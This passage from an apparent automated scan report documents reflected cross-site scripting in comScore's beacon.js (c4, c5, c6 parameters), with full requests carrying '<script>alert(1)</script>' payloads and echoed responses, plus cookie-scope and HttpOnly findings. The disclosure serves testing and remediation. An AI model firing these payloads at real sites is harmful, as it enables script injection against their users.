The value of the c4 request parameter is copied into the HTML document as plain text between tags. The payload 15e2a<script>alert(1)</script>abd24b5b69e was submitted in the c4 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=2&c2=3005693&c3=3&c4=http%3A%2F%2Falltop.com%2F15e2a<script>alert(1)</script>abd24b5b69e&c5=&c6=&c15= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://sharepoint.alltop.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=6d0f24-24.143.206.42-1297806131

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Tue, 15 Mar 2011 20:44:02 GMT
Date: Tue, 08 Mar 2011 20:44:02 GMT
Connection: close
Content-Length: 3599

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j){return}var h=2.2,g=j.options||{},u={doc:g.doc||document,nav:g.nav||navigator,win:g.win||window},b=512,m=64,w="scorecardresearch",n=2147483647,f=(new Date()).getTime(),t=function(z){var A=encodeURIComponent||escape;return A(z)},p=function(e,z){if(z){e=e.substr(0,z)}return e},s=function(){return u.doc.location.protocol=="https:"},d=function(e){return typeof e=="undefined"},o=function(e,z){if(e==null){return""}return p(t(e),z)},a=function(e,z,B,A){return z!=null&&z.toString().length>0?[e,"=",A?p(z,B):o(z,B),"&"].join(""):""},v=function(e){return Math.round(Math.random()*(e||n))},y=function(){if(+j.c1!=2){return}if(/msie\s[^0-6]|firefox|chrome/i.test(u.nav.userAgent)){return}var e=k(w);if(g.fpc_optout){if(e){q(w,e,u.doc.domain,-1)}return"optout"}if(!u.nav.cookieEnabled){return"disabled"}if(!e){e=(function(){var D=function(G,F,E){F=G&&G[F]?G[F]:"-";return E?D(F,E):F},A=[D(u.win,"navigator","userAgent"),D(u.win,"screen","width"),D(u.win,"screen","height"),D(u.doc,"cookie"),D(u.doc,"referrer"),D(u.loc,"href"),D(u.win,"history","length")].join("-");var C=2166136261;for(var B=0,z=A.length;B<z;B++){C^=A.charCodeAt(B);C*=16777619}return[v()^C&n,v(),f].join("-")})();q(w,e,u.doc.domain);e=k(w)}return e},k=function(e){if(d(u.doc.cookie)||d(u.doc.cookie.match)){return}var z=u.doc.cookie.match("(?:^|;)\\s*"+e+"=([^;]*)");return z?z[1]:null},q=function(e,A,z,B){if(!A){return}B=B!=null?B:730;B*=86400000;u.doc.cookie=e+"="+A+"; domain=."+z+"; path=/; expires="+(new Date(f+B)).toGMTString()},c=function(e){if(+j.c1!=2){return}if(!e){return}if(g.force_script_extension||(e.width==2&&e.height>v(100))){var A=u.doc.createElement("script"),z=u.doc.getElementsByTagName("script")[0],B=[l.script_extension_url,"?",a("c2",j.c2)];B=B.join("").replace(/&$/,"");if(z){A.src=B;A.async=true;z.parentNode.insertBefore(A,z)}else{u.doc.write(unescape("%3Cscript src='"+B+"'%3E%3C/script%3E"))}}},l={beacon_url:(s()?"https://sb":"http://b")+".scorecardresearch.com/",script_extension_url:(s()?"https":"http")+"://app.scorecardresearch.com/s2e/invite"};if(g.dest){l.beacon_url=g.dest.beacon_url||l.beacon_url;l.script_extension_url=g.dest.script_extension_url||l.script_extension_url}var i=[l.beacon_url,"b?",a("c1",j.c1),a("c2",j.c2),a("rn",v()),a("c12",y()),a("c7",(function(){if(g.filter_urls){return}var e=u.doc.location.href,z=b;if(g.url_append){z=b-t(["?",g.url_append].join("")).length;e=o(e,z)+t([/\?/.test(e)?"&":"?",g.url_append].join(""))}else{e=o(e,b)}return e})(),b,true),a("c3",j.c3),a("c4",j.c4,b),a("c5",j.c5),a("c6",j.c6),a("c10",j.c10),a("c11",j.c11),a("c15",j.c15),a("c16",j.c16),a("c8",u.doc.title,m),a("c9",!g.filter_urls?u.doc.referrer:"",b),a("cv",h),a("cs","js"),a("r",j.r,b)];i=i.join("").replace(/&$/,"");i=i.length>2080?i.substr(0,2075)+"&ct=1":i;if(/(BlackBerry.*?\/([1-3]\.|4\.[0-5]))|OpenWeb/.test(u.nav.userAgent)){i=i.replace(/\/b\?/,"/p?");u.doc.write("<img src='"+i+"' />")}else{var x=new Image();x.onload=function(){c(this)};x.onerror=function(){c(this)};x.src=i}if(typeof g.subscribe=="function"){g.subscribe(i)}return i}catch(r){}};COMSCORE.purge=function(a){try{var c=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"2", c2:"3005693", c3:"3", c4:"http://alltop.com/15e2a<script>alert(1)</script>abd24b5b69e", c5:"", c6:"", c10:"", c15:"", c16:"", r:""});

1.7. http://b.scorecardresearch.com/beacon.js [c5 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b.scorecardresearch.com
Path:   /beacon.js

Issue detail

The value of the c5 request parameter is copied into the HTML document as plain text between tags. The payload df83e<script>alert(1)</script>eedbbc39901 was submitted in the c5 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=2&c2=3005693&c3=3&c4=http%3A%2F%2Falltop.com%2F&c5=df83e<script>alert(1)</script>eedbbc39901&c6=&c15= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://sharepoint.alltop.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=6d0f24-24.143.206.42-1297806131

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Tue, 15 Mar 2011 20:44:03 GMT
Date: Tue, 08 Mar 2011 20:44:03 GMT
Connection: close
Content-Length: 3599

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j){return}var h=2.2,g=j.options||{},u={doc:g.doc||document,nav:g.nav||navigator,win:g.win||window},b=512,m=64,w="scorecardresearch",n=2147483647,f=(new Date()).getTime(),t=function(z){var A=encodeURIComponent||escape;return A(z)},p=function(e,z){if(z){e=e.substr(0,z)}return e},s=function(){return u.doc.location.protocol=="https:"},d=function(e){return typeof e=="undefined"},o=function(e,z){if(e==null){return""}return p(t(e),z)},a=function(e,z,B,A){return z!=null&&z.toString().length>0?[e,"=",A?p(z,B):o(z,B),"&"].join(""):""},v=function(e){return Math.round(Math.random()*(e||n))},y=function(){if(+j.c1!=2){return}if(/msie\s[^0-6]|firefox|chrome/i.test(u.nav.userAgent)){return}var e=k(w);if(g.fpc_optout){if(e){q(w,e,u.doc.domain,-1)}return"optout"}if(!u.nav.cookieEnabled){return"disabled"}if(!e){e=(function(){var D=function(G,F,E){F=G&&G[F]?G[F]:"-";return E?D(F,E):F},A=[D(u.win,"navigator","userAgent"),D(u.win,"screen","width"),D(u.win,"screen","height"),D(u.doc,"cookie"),D(u.doc,"referrer"),D(u.loc,"href"),D(u.win,"history","length")].join("-");var C=2166136261;for(var B=0,z=A.length;B<z;B++){C^=A.charCodeAt(B);C*=16777619}return[v()^C&n,v(),f].join("-")})();q(w,e,u.doc.domain);e=k(w)}return e},k=function(e){if(d(u.doc.cookie)||d(u.doc.cookie.match)){return}var z=u.doc.cookie.match("(?:^|;)\\s*"+e+"=([^;]*)");return z?z[1]:null},q=function(e,A,z,B){if(!A){return}B=B!=null?B:730;B*=86400000;u.doc.cookie=e+"="+A+"; domain=."+z+"; path=/; expires="+(new Date(f+B)).toGMTString()},c=function(e){if(+j.c1!=2){return}if(!e){return}if(g.force_script_extension||(e.width==2&&e.height>v(100))){var A=u.doc.createElement("script"),z=u.doc.getElementsByTagName("script")[0],B=[l.script_extension_url,"?",a("c2",j.c2)];B=B.join("").replace(/&$/,"");if(z){A.src=B;A.async=true;z.parentNode.insertBefore(A,z)}else{u.doc.write(unescape("%3Cscript src='"+B+"'%3E%3C/script%3E"))}}},l={beacon_url:(s()?"https://sb":"http://b")+".scorecardresearch.com/",script_extension_url:(s()?"https":"http")+"://app.scorecardresearch.com/s2e/invite"};if(g.dest){l.beacon_url=g.dest.beacon_url||l.beacon_url;l.script_extension_url=g.dest.script_extension_url||l.script_extension_url}var i=[l.beacon_url,"b?",a("c1",j.c1),a("c2",j.c2),a("rn",v()),a("c12",y()),a("c7",(function(){if(g.filter_urls){return}var e=u.doc.location.href,z=b;if(g.url_append){z=b-t(["?",g.url_append].join("")).length;e=o(e,z)+t([/\?/.test(e)?"&":"?",g.url_append].join(""))}else{e=o(e,b)}return e})(),b,true),a("c3",j.c3),a("c4",j.c4,b),a("c5",j.c5),a("c6",j.c6),a("c10",j.c10),a("c11",j.c11),a("c15",j.c15),a("c16",j.c16),a("c8",u.doc.title,m),a("c9",!g.filter_urls?u.doc.referrer:"",b),a("cv",h),a("cs","js"),a("r",j.r,b)];i=i.join("").replace(/&$/,"");i=i.length>2080?i.substr(0,2075)+"&ct=1":i;if(/(BlackBerry.*?\/([1-3]\.|4\.[0-5]))|OpenWeb/.test(u.nav.userAgent)){i=i.replace(/\/b\?/,"/p?");u.doc.write("<img src='"+i+"' />")}else{var x=new Image();x.onload=function(){c(this)};x.onerror=function(){c(this)};x.src=i}if(typeof g.subscribe=="function"){g.subscribe(i)}return i}catch(r){}};COMSCORE.purge=function(a){try{var c=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"2", c2:"3005693", c3:"3", c4:"http://alltop.com/", c5:"df83e<script>alert(1)</script>eedbbc39901", c6:"", c10:"", c15:"", c16:"", r:""});

1.8. http://b.scorecardresearch.com/beacon.js [c6 parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://b.scorecardresearch.com
Path:   /beacon.js

Issue detail

The value of the c6 request parameter is copied into the HTML document as plain text between tags. The payload f40ae<script>alert(1)</script>05ec09e9e70 was submitted in the c6 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=2&c2=3005693&c3=3&c4=http%3A%2F%2Falltop.com%2F&c5=&c6=f40ae<script>alert(1)</script>05ec09e9e70&c15= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://sharepoint.alltop.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=6d0f24-24.143.206.42-1297806131

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Tue, 15 Mar 2011 20:44:03 GMT
Date: Tue, 08 Mar 2011 20:44:03 GMT
Connection: close
Content-Length: 3599

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j){return}var h=2.2,g=j.options||{},u={doc:g.doc||document,nav:g.nav||navigator,win:g.win||window},b=512,m=64,w="scorecardresearch",n=2147483647,f=(new Date()).getTime(),t=function(z){var A=encodeURIComponent||escape;return A(z)},p=function(e,z){if(z){e=e.substr(0,z)}return e},s=function(){return u.doc.location.protocol=="https:"},d=function(e){return typeof e=="undefined"},o=function(e,z){if(e==null){return""}return p(t(e),z)},a=function(e,z,B,A){return z!=null&&z.toString().length>0?[e,"=",A?p(z,B):o(z,B),"&"].join(""):""},v=function(e){return Math.round(Math.random()*(e||n))},y=function(){if(+j.c1!=2){return}if(/msie\s[^0-6]|firefox|chrome/i.test(u.nav.userAgent)){return}var e=k(w);if(g.fpc_optout){if(e){q(w,e,u.doc.domain,-1)}return"optout"}if(!u.nav.cookieEnabled){return"disabled"}if(!e){e=(function(){var D=function(G,F,E){F=G&&G[F]?G[F]:"-";return E?D(F,E):F},A=[D(u.win,"navigator","userAgent"),D(u.win,"screen","width"),D(u.win,"screen","height"),D(u.doc,"cookie"),D(u.doc,"referrer"),D(u.loc,"href"),D(u.win,"history","length")].join("-");var C=2166136261;for(var B=0,z=A.length;B<z;B++){C^=A.charCodeAt(B);C*=16777619}return[v()^C&n,v(),f].join("-")})();q(w,e,u.doc.domain);e=k(w)}return e},k=function(e){if(d(u.doc.cookie)||d(u.doc.cookie.match)){return}var z=u.doc.cookie.match("(?:^|;)\\s*"+e+"=([^;]*)");return z?z[1]:null},q=function(e,A,z,B){if(!A){return}B=B!=null?B:730;B*=86400000;u.doc.cookie=e+"="+A+"; domain=."+z+"; path=/; expires="+(new Date(f+B)).toGMTString()},c=function(e){if(+j.c1!=2){return}if(!e){return}if(g.force_script_extension||(e.width==2&&e.height>v(100))){var A=u.doc.createElement("script"),z=u.doc.getElementsByTagName("script")[0],B=[l.script_extension_url,"?",a("c2",j.c2)];B=B.join("").replace(/&$/,"");if(z){A.src=B;A.async=true;z.parentNode.insertBefore(A,z)}else{u.doc.write(unescape("%3Cscript src='"+B+"'%3E%3C/script%3E"))}}},l={beacon_url:(s()?"https://sb":"http://b")+".scorecardresearch.com/",script_extension_url:(s()?"https":"http")+"://app.scorecardresearch.com/s2e/invite"};if(g.dest){l.beacon_url=g.dest.beacon_url||l.beacon_url;l.script_extension_url=g.dest.script_extension_url||l.script_extension_url}var i=[l.beacon_url,"b?",a("c1",j.c1),a("c2",j.c2),a("rn",v()),a("c12",y()),a("c7",(function(){if(g.filter_urls){return}var e=u.doc.location.href,z=b;if(g.url_append){z=b-t(["?",g.url_append].join("")).length;e=o(e,z)+t([/\?/.test(e)?"&":"?",g.url_append].join(""))}else{e=o(e,b)}return e})(),b,true),a("c3",j.c3),a("c4",j.c4,b),a("c5",j.c5),a("c6",j.c6),a("c10",j.c10),a("c11",j.c11),a("c15",j.c15),a("c16",j.c16),a("c8",u.doc.title,m),a("c9",!g.filter_urls?u.doc.referrer:"",b),a("cv",h),a("cs","js"),a("r",j.r,b)];i=i.join("").replace(/&$/,"");i=i.length>2080?i.substr(0,2075)+"&ct=1":i;if(/(BlackBerry.*?\/([1-3]\.|4\.[0-5]))|OpenWeb/.test(u.nav.userAgent)){i=i.replace(/\/b\?/,"/p?");u.doc.write("<img src='"+i+"' />")}else{var x=new Image();x.onload=function(){c(this)};x.onerror=function(){c(this)};x.src=i}if(typeof g.subscribe=="function"){g.subscribe(i)}return i}catch(r){}};COMSCORE.purge=function(a){try{var c=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"2", c2:"3005693", c3:"3", c4:"http://alltop.com/", c5:"", c6:"f40ae<script>alert(1)</script>05ec09e9e70", c10:"", c15:"", c16:"", r:""});

2. Cookie scoped to parent domain  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://b.scorecardresearch.com
Path:   /b

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /b?rn=1299616563379&c7=http%3A%2F%2Fwww.msn.com%2F&c1=2&c2=3000001 HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://www.msn.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=6d0f24-24.143.206.42-1297806131

Response

HTTP/1.1 204 No Content
Content-Length: 0
Date: Tue, 08 Mar 2011 20:36:06 GMT
Connection: close
Set-Cookie: UID=6d0f24-24.143.206.42-1297806131; expires=Thu, 07-Mar-2013 20:36:06 GMT; path=/; domain=.scorecardresearch.com
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID OUR IND COM STA OTC"
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Pragma: no-cache
Cache-Control: private, no-cache, no-cache=Set-Cookie, no-store, proxy-revalidate
Server: CS


3. Cookie without HttpOnly flag set  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://b.scorecardresearch.com
Path:   /b

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /b?rn=1299616563379&c7=http%3A%2F%2Fwww.msn.com%2F&c1=2&c2=3000001 HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://www.msn.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=6d0f24-24.143.206.42-1297806131

Response

HTTP/1.1 204 No Content
Content-Length: 0
Date: Tue, 08 Mar 2011 20:36:06 GMT
Connection: close
Set-Cookie: UID=6d0f24-24.143.206.42-1297806131; expires=Thu, 07-Mar-2013 20:36:06 GMT; path=/; domain=.scorecardresearch.com
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID OUR IND COM STA OTC"
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Pragma: no-cache
Cache-Control: private, no-cache, no-cache=Set-Cookie, no-store, proxy-revalidate
Server: CS


Report generated by XSS.CX at Wed Mar 09 13:03:44 CST 2011.